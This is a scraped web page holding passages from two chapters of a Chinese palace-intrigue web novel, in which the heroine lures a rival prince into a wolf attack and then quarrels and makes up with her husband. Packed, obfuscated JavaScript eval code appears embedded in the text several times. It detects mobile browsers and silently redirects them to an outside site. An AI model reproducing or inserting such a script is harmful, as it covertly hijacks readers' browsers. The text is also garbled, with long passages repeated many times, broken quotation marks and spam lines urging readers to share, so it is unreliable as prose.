;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇上面上不表,可不久后就去了皇后的营帐,将皇后一顿训斥。 皇后当晚就从木兰围场被遣返回宫,丢了好大的脸面。 临走前,她召见了裴云澈。 她拉着裴云澈的衣袖道:“云澈,本宫看墨染的腿是真的不行了!你一定要夺回东宫之位! 皇后大吐苦水,“云澈,贤妃太过分了!她居然还敢恶人先告状,明明是他们母子薄情寡义,辜负了雨荷,雨荷没有对不住他…… 裴云澈不耐烦地推开皇后的手,淡淡道:“母后,您回宫好生歇息吧。 皇后感到几分心塞,前所未有的苦涩感侵袭着她的心脏。 云澈的态度好冷漠。 …… 一夜好梦。 接下来的几日,裴墨染双腿残疾的谣言不胫而走。 许多官员、皇子都私下议论裴墨染的膝盖废了,这辈子都站不起来了。 更有甚者已经蠢蠢欲动,打算检举裴墨染双腿残疾,不配继位,他们讨好裴云澈,扬言拥护他为新太子。 这一切,裴墨染都看在眼里。 但他勒令身边所有人保持沉默,隐忍不发。 云清婳看懂了裴墨染的意思,也没有动作。 秋狝即将结束时,云清婳穿着青色素面的劲装,命人备马。 有一件最重要的事,她还没干呢。 谁都不能跟她的儿子抢皇位! “蛮蛮,想去打猎了?你等等我,我陪你。裴墨染准备下榻。 “夫君!她的黛眉一沉,目光森然。 “我的腿早就好了,你不让我去? 狗男人,又发疯! 云清婳俯下身,在他唇瓣上咬了一口,“夫君整日就会拈酸吃醋,一点都不信任我。 “怎会?你少冤枉人。他心虚地轻眨眼睛。 她的鼻子发出一声轻哼,“放心吧!只有我一个人,没有表哥!我知道夫君小气,不会让你疑心。 裴墨染的心情大好,他揽过她的腰肢,把她拘在怀里,“谁说我小气?谢泽修是你表哥,我怎会多想?他若 是娶不到妻子我可以给他指婚。” “你敢!你少对表哥的私事指手画脚他有考量。”她报复性地在他脖子上轻咬牙齿没入他的皮肉。 裴墨染闷哼了一声他的声音喑哑“蛮蛮别乱撩。” 云清婳莫名其妙他自己满脑袋黄色废料所以净往那上面想。 …… 另一边睿王按捺不住了他跟几个皇子、官员为了废太子的事去了皇上的营帐。 他们势在必得。 睿王信誓旦旦道:“裴墨染罚跪当日我也在场 “都一个月了他还在针灸、喝药听送膳的小太监说他这些日子都没下过榻你们想想他的腿可能无虞吗?” “身体残缺之人不能继位!大昭可不能让残废做皇帝啊!” “没错!咱们这就请皇上去看看太子!” 不远处裴云澈摇着折扇纵观全局。 他的脸色阴鸷眼中泄出寒意。 太子双腿残废的消息是他放出去的。 但他不会亲自出手。 …… 狩猎的森林中云清婳、裴云澈前后下马。 他们将马栓在树干上。 四下无人寂寥无声。 “蛮蛮这些日子过得可好?”他捧着她的脸。 她瘦了。 云清婳苦笑“最近发生了许多事为了照顾裴墨染劳累了些。” “蛮蛮你等等我父皇已经原谅我了他把许多大权都交付于我。只要我再努努力东宫之位或许能夺回来。”裴云澈信誓旦旦道。 云清婳的心涌上了火气。 皇上这个老毕登真是阴晴不定! 明明表现出那么喜欢承基、辞忧可背地里还是没有对裴云澈死心。 “我相信裴郎。”她脸上的笑都快维持不住。 她跟裴墨染明明都已经这么努力了! 可皇弟老儿还这么偏心! 真是令人气愤! “蛮蛮我不想瞒你。苏灵音之前找过我她说你接近我是为了给谢容音报仇。”裴云澈的表情十分严肃。 云清婳的心脏骤然紧缩。 尽管 知道苏灵音的挑拨离间没成功可她还是提心吊胆。 因为裴云澈着实聪明谨慎做事滴水不漏。 “裴郎……我……”云清婳不知该说什么因为她不确定裴云澈知道多少。 裴云澈看着她慌乱的眼睛柔声道:“蛮蛮苏灵音说我害**顾笛风所以谢容音才殉情。但在这之前谢小姐遭遇了什么你比谁都清楚!伤害谢小姐的人是赵婉宁与我无关!” 呵…… 与他无关? 把自己摘得真干净! 姐姐是在封建时代罕有的坚强的女子。 她在抑郁、崩溃之下已经答应了不会因为被人**就结束生命。 因为她想嫁给心爱的人等顾将军回京城娶她。 这是她的精神支柱! 可全被裴云澈毁了。 云清婳的眼泪一滴滴落下。 裴云澈心疼地用指腹揩去她的泪他的额头抵住她的额 姐姐的死与他无关所以姐姐活该是吗? 真讽刺! 被牵连的裴墨染都万分愧疚可始作俑者却不知悔改矢口否认甚至叫冤喊屈。 “别说了。”云清婳红着眼双臂颤抖。 裴云澈轻抚着她的背脊“蛮蛮你放松些不要气坏了身子。谢小姐的事我深感遗憾、惋惜她是世间罕有的良善之人不少大昭百姓都受过她的恩泽我从未想伤害谢小姐!” 真是冠冕堂皇! 云清婳恨不得现在就杀了他! 可男女气力悬殊她不做没有把握的事! 她咬着下唇唇瓣都被咬出了血她尝到一股腥甜味才将愤怒压制住。 “裴郎不怪我?”她不知道她是怀着什么心情说的。 裴云澈摇摇头他的双目坚定“我不在乎这些因为我爱你!我知道后来你没再想过报复我了。” 可笑他究竟是怎么看出来的? “裴郎你对顾笛风有愧意吗?他是姐姐的心上人。”她忍不住多嘴问了一句。 裴云澈莫名其妙地看了她一眼。 他不明白蛮蛮为何要问这种蠢问题。 他解释:“蛮蛮顾笛风身为臣子却锋芒毕露意图压我一头。我劝过他可他不听我别无选择。这种人太轴太愚钝空有一身本领一朝得势必会变成绊脚石。” 云清婳险些被气笑了。 自己无能却怪别人? 好得很那就别怪她了。 云清婳转过身她揩去眼泪的间隙吹响了人耳捕捉不到的狼哨。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 知道苏灵音的挑拨离间没成功,可她还是提心吊胆。 因为裴云澈着实聪明谨慎,做事滴水不漏。 “裴郎……我……”云清婳不知该说什么,因为她不确定裴云澈知道多少。 裴云澈看着她慌乱的眼睛,柔声道:“蛮蛮,苏灵音说我害**顾笛风,所以谢容音才殉情。但在这之前,谢小姐遭遇了什么,你比谁都清楚!伤害谢小姐的人是赵婉宁,与我无关!” 呵…… 与他无关? 把自己摘得真干净! 姐姐是在封建时代罕有的坚强的女子。 她在抑郁、崩溃之下,已经答应了,不会因为被人**就结束生命。 因为她想嫁给心爱的人,等顾将军回京城娶她。 这是她的精神支柱! 可全被裴云澈毁了。 云清婳的眼泪一滴滴落下。 裴云澈心疼地用指腹揩去她的泪,他的额头抵住她的额,哽咽道:“蛮蛮,我的确杀了顾笛风,可谢小姐的死与我无关!都是赵婉宁害的,你不能怪我!” 姐姐的死与他无关,所以姐姐活该是吗? 真讽刺! 被牵连的裴墨染都万分愧疚,可始作俑者却不知悔改,矢口否认甚至叫冤喊屈。 “别说了。”云清婳红着眼,双臂颤抖。 裴云澈轻抚着她的背脊,“蛮蛮,你放松些,不要气坏了身子。谢小姐的事我深感遗憾、惋惜,她是世间罕有的良善之人,不少大昭百姓都受过她的恩泽,我从未想伤害谢小姐!” 真是冠冕堂皇! 云清婳恨不得现在就杀了他! 可男女气力悬殊,她不做没有把握的事! 她咬着下唇,唇瓣都被咬出了血,她尝到一股腥甜味,才将愤怒压制住。 “裴郎不怪我?”她不知道她是怀着什么心情说的。 裴云澈摇摇头,他的双目坚定,“我不在乎这些,因为我爱你!我知道,后来你没再想过报复我了。” 可笑,他究竟是怎么看出来的? “裴郎,你对顾笛风有愧意吗?他是姐姐的心上人。”她忍不住多嘴问了一句。 裴云澈莫名其妙地看了她一眼。 他不明白蛮蛮为何要问这种蠢问题。 他解释:“蛮蛮,顾笛风身为臣子却锋芒毕露,意图压我一头。我劝过他,可他不听,我别无选择。这种人太轴太愚钝,空有一身本领,一朝得势,必会变成绊脚石。” 云清婳险些被气笑了。 自己无能,却怪别人? 好得很,那就别怪她了。 云清婳转过身,她揩去眼泪的间隙,吹响了人耳捕捉不到的狼哨。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 知道苏灵音的挑拨离间没成功,可她还是提心吊胆。 因为裴云澈着实聪明谨慎,做事滴水不漏。 “裴郎……我……云清婳不知该说什么,因为她不确定裴云澈知道多少。 裴云澈看着她慌乱的眼睛,柔声道:“蛮蛮,苏灵音说我害**顾笛风,所以谢容音才殉情。但在这之前,谢小姐遭遇了什么,你比谁都清楚!伤害谢小姐的人是赵婉宁,与我无关! 呵…… 与他无关? 把自己摘得真干净! 姐姐是在封建时代罕有的坚强的女子。 她在抑郁、崩溃之下,已经答应了,不会因为被人**就结束生命。 因为她想嫁给心爱的人,等顾将军回京城娶她。 这是她的精神支柱! 可全被裴云澈毁了。 云清婳的眼泪一滴滴落下。 裴云澈心疼地用指腹揩去她的泪,他的额头抵住她的额,哽咽道:“蛮蛮,我的确杀了顾笛风,可谢小姐的死与我无关!都是赵婉宁害的,你不能怪我! 姐姐的死与他无关,所以姐姐活该是吗? 真讽刺! 被牵连的裴墨染都万分愧疚,可始作俑者却不知悔改,矢口否认甚至叫冤喊屈。 “别说了。云清婳红着眼,双臂颤抖。 裴云澈轻抚着她的背脊,“蛮蛮,你放松些,不要气坏了身子。谢小姐的事我深感遗憾、惋惜,她是世间罕有的良善之人,不少大昭百姓都受过她的恩泽,我从未想伤害谢小姐! 真是冠冕堂皇! 云清婳恨不得现在就杀了他! 可男女气力悬殊,她不做没有把握的事! 她咬着下唇,唇瓣都被咬出了血,她尝到一股腥甜味,才将愤怒压制住。 “裴郎不怪我?她不知道她是怀着什么心情说的。 裴云澈摇摇头,他的双目坚定,“我不在乎这些,因为我爱你!我知道,后来你没再想过报复我了。 可笑,他究竟是怎么看出来的? “裴郎,你对顾笛风有愧意吗?他是姐姐的心上人。 裴云澈莫名其妙地看了她一眼。 他不明白蛮蛮为何要问这种蠢问题。 他解释:“蛮蛮,顾笛风身为臣子却锋芒毕露,意图压我一头。我劝过他,可他不听,我别无选择。这种人太轴太愚钝,空有一身本领,一朝得势,必会变成绊脚石。 云清婳险些被气笑了。 自己无能,却怪别人? 好得很,那就别怪她了。 云清婳转过身,她揩去眼泪的间隙,吹响了人耳捕捉不到的狼哨。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 知道苏灵音的挑拨离间没成功,可她还是提心吊胆。 因为裴云澈着实聪明谨慎,做事滴水不漏。 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他解释:“蛮蛮,顾笛风身为臣子却锋芒毕露,意图压我一头。我劝过他,可他不听,我别无选择。这种人太轴太愚钝,空有一身本领,一朝得势,必会变成绊脚石。 云清婳险些被气笑了。 自己无能,却怪别人? 好得很,那就别怪她了。 云清婳转过身,她揩去眼泪的间隙,吹响了人耳捕捉不到的狼哨。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第275章 放狼咬死裴云澈! “裴郎,我们都忘了这些吧,我不想计较了。”她哑声道。 裴云澈欣慰道:“蛮蛮,你能想通就好。” 树林骤然安静下来,连虫鸣鸟叫都消失了。 丛林发出飒飒的声音。 似乎有猛兽袭来。 裴云澈察觉不对,他护在云清婳身前,“蛮蛮,似乎有野兽朝这边来了,你快上马。” “好。”云清婳解开缰绳,正欲上马,可一群狼来了。 群狼环伺,它们的眼中冒出贪婪的绿光,口水从嘴里哗哗往下流。 云清婳的眼中跳跃的兴奋,不枉她花重金从西域人手中淘到这个宝贝。 “蛮蛮快走!”裴云澈的面色惨白,他拿着弓箭,双臂颤抖,豆大的汗珠从鬓角流下。 云清婳将他的懦弱看在眼中,眼底尽是嘲讽。 “救命,救命!”她翻身上马,高声惊呼。 她的叫声,激怒了狼群,狼王试探性地一步步朝他们逼近。 裴云澈努力保持镇定,他搭弓拉箭,朝狼王射去。 咻—— 箭如流星,朝着狼王射去。 可裴云澈的手太抖,箭头微微一偏,箭射在狼王的身侧。 嗷呜—— 狼王对他的忌惮打消了大半,朝他步步紧逼。 云清婳暗爽。 狼最好这就把裴云澈咬死! 掏空了他的五脏六腑,看看里面是不是黑的! “裴郎,怎么办?你快上马啊。”云清婳带着哭腔。 裴云澈的脸毫无血色。 他有些脱力,手中的弓箭都快拿不稳了,“蛮蛮,我走不了了,你快走,去叫救兵……” “好!”云清婳纵马朝森林外逃去。 裴云澈再一次拉弓搭箭,箭矢朝狼射去,又没射中! 狼不再试探,发狂似的朝他扑去。 嗷—— 狼王一口咬住裴云澈的小腿。 裴云澈发出痛苦的呻吟,泪从他的眼底沁了出来。 狼王的猎物,其他狼并不敢染指,它们兴奋地看着狼王与人周旋。 裴云澈从袖中拿出**,径自往狼王的脖颈下捅,刀刃划破了狼王的头顶,狼王发出一声哀嚎。 云清 婳才策马没多久,迎面就撞上了闻声而来的裴墨染。 他骑在红鬃烈马上,身后跟了几十名侍卫。 “蛮蛮,你没事吧?”裴墨染担心的问。 云清婳红了眼,像是受了极大的惊吓,她指着身后的方向,哽咽道:“夫君,快去救裴云澈!我们遇见了狼群……” 侍卫面色大变,毫不犹豫的策马朝着她手指的方向奔去。 当然。 云清婳并不是真心想救裴云澈。 而是围场上到处都是巡逻的侍卫,为了保证安全,可以说布下了天罗地网。 就算她不救裴云澈,也有的是人救裴云澈。 她不能这么早暴露! 裴墨染伸臂勾住云清婳的细腰,将她从马背上带进怀里,他的心剧烈跳动。 心跳声,云清婳能清晰听见。 他的声线颤抖,怒道:“蛮蛮,你想吓死我吗?你知道我听说你孤身进了狩猎场时,我有多害怕吗?” “我早跟你说了,我不带别人的……” 他低吼:“是你疯了还是我疯了?你怎么可以不带侍卫?你……” 裴墨染的喉头发堵,他的声音一哽,脸紧紧贴着她的脖颈。 “蛮蛮,对不住,我不该对你发脾气……我以为你只是不带谢泽修,我不知道,我不知道你没带侍卫。”他的双臂紧紧环抱着她的腰肢。 云清婳的小手覆上他的手,她哽咽道:“夫君,我错了,我就是想散散步,不想被人看着。” “你没错!怪我,怪我……” 裴墨染策马跟上侍卫,他们到时,果不其然,已经有一批侍卫救下了裴云澈。 他的马早就被咬**,血流了一地。 裴云澈面色惨白地跌坐在草坪上,他的小腿、胳膊处的布料被染得血红,手上也有两颗牙印。 云清婳有些遗憾。 狼王不行啊,怎么才咬伤了这几个地方? 此时,狼群还在跟侍卫搏斗。 狼王最为狡猾、凶狠,好几个侍卫都射不中它,只能近身搏斗。 他们大汗淋漓,气喘吁吁,也未能伤及狼王。 “找个网子过来!从上面把狼王逮住!”为首的侍卫扶着后腰,喘着粗气吩咐。 咻 —— 一支箭从裴云澈的脸颊边缘飞过,**了狼王的脖颈。 一箭毙命。 狼王应声倒地,它抽搐了几下,再也不动。 “厉害!”侍卫瞠目结舌,发出响亮的掌声。 “殿下太神了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇上冷笑,“是吗?朕冤枉你了?” “不不不……皇上是在关心儿臣,担心儿臣误入歧途、心思狭隘。”睿王连忙磕头。 皇上刮了他一眼。 算他识相。 倘若裴墨染的膝盖废了,他或许真要改立太子了。 但,这样就可惜承基了! 皇上心中盘旋着新的选择——太子之位该给皇太孙还是裴云澈。 第276章 你这个悍妇,母老虎 吁—— 身后传来马蹄声。 裴墨染抱着云清婳下马。 他看到皇上以及众多皇子、官员嘴角勾出笑弧。 鱼儿上钩了。 众人看到裴墨染行云流水的动作瞠目结舌。 裴墨染的腿没坏?! 怎么可能? 睿王的眼珠子都要瞪出来。 裴墨染故作茫然连忙拱手行礼“参见父皇!父皇、诸位皇弟、大人们这是……?” “呃……”几个皇子、官员语塞。 他们责怨地看着睿王。 “咳咳……”皇上有些尴尬他恶狠狠踹了睿王一脚。 睿王吃痛地叫了一声“啊……” 皇上负着双手面不改色冷声道:“都是老五!他说你双腿未愈怕不是得了重疾站不起来了。” 裴墨染似笑非笑他眼里盛着幸灾乐祸“是吗?看不出五弟这么关心本宫!你的心意本宫记住了!” “既然太子痊愈了就早日回勤政殿莫要惫懒。”皇上不咸不淡地说了一句。 “儿臣遵命。”裴墨染拱手“父皇方才贤王遇见了狼群受伤了。” “什么?快传赵太医!快传赵太医!”皇上威严的神色出现了裂缝忙不迭朝裴云澈的营帐跑去不顾仪态。 裴墨染的视线在在场的每个皇子、官员身上划过。 他们羞愧、尴尬地垂下脑袋。 “你们每个人的关心本宫都记住了。”裴墨染面无波澜 “皇兄我只是来看看……都是五哥……” “对我也是都是五哥胡说……”他们露出谄媚的笑脸。 睿王欲言又止没想到他们这么快就叛变了。 裴墨染不想再听他不耐的摆摆手又冷又狠地甩下一句话“本宫乏了!” 他们不敢忤逆匆忙走了。 裴墨染拉着云清婳进了营帐他将她推上床榻。 他倾身压下唇齿间强势地掠夺她的呼吸。 “唔……”云清婳呼吸一窒唇瓣吃痛。 不知吻了多久她感觉肺内的空气都被排进脸涨得通红他才放过她。 云清婳大口大口 喘着新鲜空气。 裴墨染捏着她的下巴眼神含着怒跟不安声音喑哑道:“唇怎么破了?” 她白了他一眼她不悦道:“你说呢?你难不成以为我跟裴云澈……” “我可没说!”他急忙打断她的话。 “方才看见狼群 裴墨染的心骤然一痛无尽的后怕袭来竟然让他四肢发软。 他眼眸猩红在她屁股上拍了两下“下次还敢一个人出去吗?云清婳我真是瞎了眼居然相信你稳重端庄!我明明知道你的泼皮性子我真是全天下最大的傻子! 你就是个装腔作势的丫头片子做事没个轻重我再也不会相信你了!日后没有我的允许你不准离开我的视线!” 他心有余悸声音都在颤抖心脏剧烈的跳动声清晰可闻。 云清婳感受到了他的颤抖…… 看来狗男人这次是真的被吓到了。 她带着哭腔声音细弱如猫儿哽咽道:“夫君你怪我?我还以为在猎场时你就不生气了。” 温热的泪从脸颊滑下落在他的手背上。 裴墨染的心好像也被灼伤疼得一颤。 他的语气轻柔了些“我不怪你我怪我自己!我怪我没照看好你!更气自己没理解你的意思你明明跟我说了不带别人我却会错了意!” “我不怪你。”她低声喃喃。 裴墨染:??? 他肚中的火气蹭得窜了起来他气得胃疼“你还想怪我?蛮蛮你顺着杆儿往上爬是吧?真是不知悔改!我今日真要收拾你了!” 他扯开她的腰带目光贪婪带着强烈的掠夺性。 云清婳的身躯瑟瑟发抖裴墨染的眼神就像是要把她当作猎物拆吞入腹。 她可吃不消。 “夫君好脏……还没沐浴呢。”她急忙起身向后蜷缩到床榻角落。 裴墨染双膝一屈跪在床榻上粗粝的大掌抓住她的脚踝一把将她拉回到原位。 他的桃花眼微眯冷声讽刺说:“嫌脏?你方才在森林怎么不嫌脏?遇到狼群怎么不嫌脏?你现在知道脏了?” 她眸光一寒抬起另一只脚 朝着他的腹部狠狠一踹。 裴墨染始料未及,他怕伤到她,没敢动作,实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……云清婳圆溜溜的杏眸湿润,露出愧疚、害怕的表情。 没办法。 这件事她理亏,只能让狗男人暂时占据上风。 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!裴墨染伸出食指,都快戳上她的鼻尖,“悍妇!母老虎! 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜,忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后,裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙,钻进被褥,只露出半个小脑袋,她很小幅度地点头,“嗯。 裴墨染拧紧的眉宇渐渐舒展,他放狠话:“算你开窍! 说着,他掀开被褥,庞大的身躯将她罩在身下。 “你都没擦洗,我还没嫌你脏呢。裴墨染傲娇的冷哼。 云清婳正要蹙眉,他便吻住她的唇,不给她说话的机会。 天幕黑沉,疾风暴雨后,云清婳如同被风雨璀璨的小花,瓣与叶萎靡。 她枕在他的臂弯上,浑身脱力,四肢瘫软,脸上全是泪与汗,声音也哭哑了。 “夫君还生气吗? 裴墨染的脸庞前所未有的认真,毫无行事之后的餍足,“蛮蛮,我不生气,我只是害怕,怕你出事,怕你离开我。 “夫君,我日后不敢了。这次只是意外,我只是想一个人走走,我想着猎场戒备森严,巡林的侍卫不少,谁知狼群会突然出现?她垂下眼睫,楚楚可怜地说。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 朝着他的腹部狠狠一踹。 裴墨染始料未及,他怕伤到她,没敢动作,实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……云清婳圆溜溜的杏眸湿润,露出愧疚、害怕的表情。 没办法。 这件事她理亏,只能让狗男人暂时占据上风。 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!裴墨染伸出食指,都快戳上她的鼻尖,“悍妇!母老虎! 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜,忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后,裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙,钻进被褥,只露出半个小脑袋,她很小幅度地点头,“嗯。 裴墨染拧紧的眉宇渐渐舒展,他放狠话:“算你开窍! 说着,他掀开被褥,庞大的身躯将她罩在身下。 “你都没擦洗,我还没嫌你脏呢。裴墨染傲娇的冷哼。 云清婳正要蹙眉,他便吻住她的唇,不给她说话的机会。 天幕黑沉,疾风暴雨后,云清婳如同被风雨璀璨的小花,瓣与叶萎靡。 她枕在他的臂弯上,浑身脱力,四肢瘫软,脸上全是泪与汗,声音也哭哑了。 “夫君还生气吗?她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真,毫无行事之后的餍足,“蛮蛮,我不生气,我只是害怕,怕你出事,怕你离开我。 “夫君,我日后不敢了。这次只是意外,我只是想一个人走走,我想着猎场戒备森严,巡林的侍卫不少,谁知狼群会突然出现?她垂下眼睫,楚楚可怜地说。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 朝着他的腹部狠狠一踹。 裴墨染始料未及,他怕伤到她,没敢动作,实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……”云清婳圆溜溜的杏眸湿润,露出愧疚、害怕的表情。 没办法。 这件事她理亏,只能让狗男人暂时占据上风。 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!”裴墨染伸出食指,都快戳上她的鼻尖,“悍妇!母老虎!” 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!”裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜,忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后,裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?”他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙,钻进被褥,只露出半个小脑袋,她很小幅度地点头,“嗯。” 裴墨染拧紧的眉宇渐渐舒展,他放狠话:“算你开窍!” 说着,他掀开被褥,庞大的身躯将她罩在身下。 “你都没擦洗,我还没嫌你脏呢。”裴墨染傲娇的冷哼。 云清婳正要蹙眉,他便吻住她的唇,不给她说话的机会。 天幕黑沉,疾风暴雨后,云清婳如同被风雨璀璨的小花,瓣与叶萎靡。 她枕在他的臂弯上,浑身脱力,四肢瘫软,脸上全是泪与汗,声音也哭哑了。 “夫君还生气吗?”她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真,毫无行事之后的餍足,“蛮蛮,我不生气,我只是害怕,怕你出事,怕你离开我。” 说全网首发无弹窗免费阅读caixs⊙(请来才小 说 看最新章节 完整章节) “夫君,我日后不敢了。这次只是意外,我只是想一个人走走,我想着猎场戒备森严,巡林的侍卫不少,谁知狼群会突然出现?”她垂下眼睫,楚楚可怜地说。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 朝着他的腹部狠狠一踹。 裴墨染始料未及他怕伤到她没敢动作实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……”云清婳圆溜溜的杏眸湿润露出愧疚、害怕的表情。 没办法。 这件事她理亏 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!”裴墨染伸出食指都快戳上她的鼻尖“悍妇!母老虎!” 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!”裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?”他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙钻进被褥只露出半个小脑袋她很小幅度地点头“嗯。” 裴墨染拧紧的眉宇渐渐舒展他放狠话:“算你开窍!” 说着他掀开被褥庞大的身躯将她罩在身下。 “你都没擦洗我还没嫌你脏呢。”裴墨染傲娇的冷哼。 云清婳正要蹙眉他便吻住她的唇不给她说话的机会。 天幕黑沉疾风暴雨后云清婳如同被风雨璀璨的小花瓣与叶萎靡。 她枕在他的臂弯上浑身脱力四肢瘫软脸上全是泪与汗声音也哭哑了。 “夫君还生气吗?”她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真毫无行事之后的餍足“蛮蛮我不生气我只是害怕怕你出事怕你离开我。” “夫君我日后不敢了。这次只是意外我只是想一个人走走我想着猎场戒备森严巡林的侍卫不少谁知狼群会突然出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136836|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现?”她垂下眼睫楚楚可怜地说。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 朝着他的腹部狠狠一踹。 裴墨染始料未及他怕伤到她没敢动作实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……”云清婳圆溜溜的杏眸湿润露出愧疚、害怕的表情。 没办法。 这件事她理亏只能让狗男人暂时占据上风。 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!”裴墨染伸出食指都快戳上她的鼻尖“悍妇!母老虎!” 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!”裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?”他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙钻进被褥只露出半个小脑袋她很小幅度地点头“嗯。” 裴墨染拧紧的眉宇渐渐舒展他放狠话:“算你开窍!” 说着他掀开被褥庞大的身躯将她罩在身下。 “你都没擦洗我还没嫌你脏呢。”裴墨染傲娇的冷哼。 云清婳正要蹙眉他便吻住她的唇 天幕黑沉疾风暴雨后云清婳如同被风雨璀璨的小花瓣与叶萎靡。 她枕在他的臂弯上浑身脱力四肢瘫软脸上全是泪与汗声音也哭哑了。 “夫君还生气吗?”她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真毫无行事之后的餍足“蛮蛮我不生气我只是害怕怕你出事怕你离开我。” “夫君我日后不敢了。这次只是意外我只是想一个人走走我想着猎场戒备森严巡林的侍卫不少谁知狼群会突然出现?”她垂下眼睫楚楚可怜地说。 你的朋友正在书荒,快去帮帮他吧 朝着他的腹部狠狠一踹。 裴墨染始料未及,他怕伤到她,没敢动作,实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “……”云清婳圆溜溜的杏眸湿润,露出愧疚、害怕的表情。 没办法。 这件事她理亏,只能让狗男人暂时占据上风。 “你踹我!你居然踹我!你这个女人真是无可救药、不知悔改!”裴墨染伸出食指,都快戳上她的鼻尖,“悍妇!母老虎!” 他狼狈地扶着床榻边缘站起身。 “打盆热水进来!”裴墨染怒吼一声。 帐外的王显吓得一颤。 他苦着脸看了眼飞霜,忙不迭照办。 两个主子怎么又吵架了? 温热的水端进来后,裴墨染乖乖地把身上擦洗了一遍。 “现在可以了吧?”他没好气地问。 看起来又怂又拽的。 云清婳红着脸主动褪去衣裙,钻进被褥,只露出半个小脑袋,她很小幅度地点头,“嗯。” 裴墨染拧紧的眉宇渐渐舒展,他放狠话:“算你开窍!” 说着,他掀开被褥,庞大的身躯将她罩在身下。 “你都没擦洗,我还没嫌你脏呢。”裴墨染傲娇的冷哼。 云清婳正要蹙眉,他便吻住她的唇,不给她说话的机会。 天幕黑沉,疾风暴雨后,云清婳如同被风雨璀璨的小花,瓣与叶萎靡。 她枕在他的臂弯上,浑身脱力,四肢瘫软,脸上全是泪与汗,声音也哭哑了。 “夫君还生气吗?”她讨好地勾住他的腰。 裴墨染的脸庞前所未有的认真,毫无行事之后的餍足,“蛮蛮,我不生气,我只是害怕,怕你出事,怕你离开我。” “夫君,我日后不敢了。这次只是意外,我只是想一个人走走,我想着猎场戒备森严,巡林的侍卫不少,谁知狼群会突然出现?”她垂下眼睫,楚楚可怜地说。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 朝着他的腹部狠狠一踹。 裴墨染始料未及,他怕伤到她,没敢动作,实打实的受着力。 咚—— 裴墨染重重摔下了床榻。 他懵了。 他居然被小妮子踹下床了。 “…… 没办法。 这件事她理亏,只能让狗男人暂时占据上风。 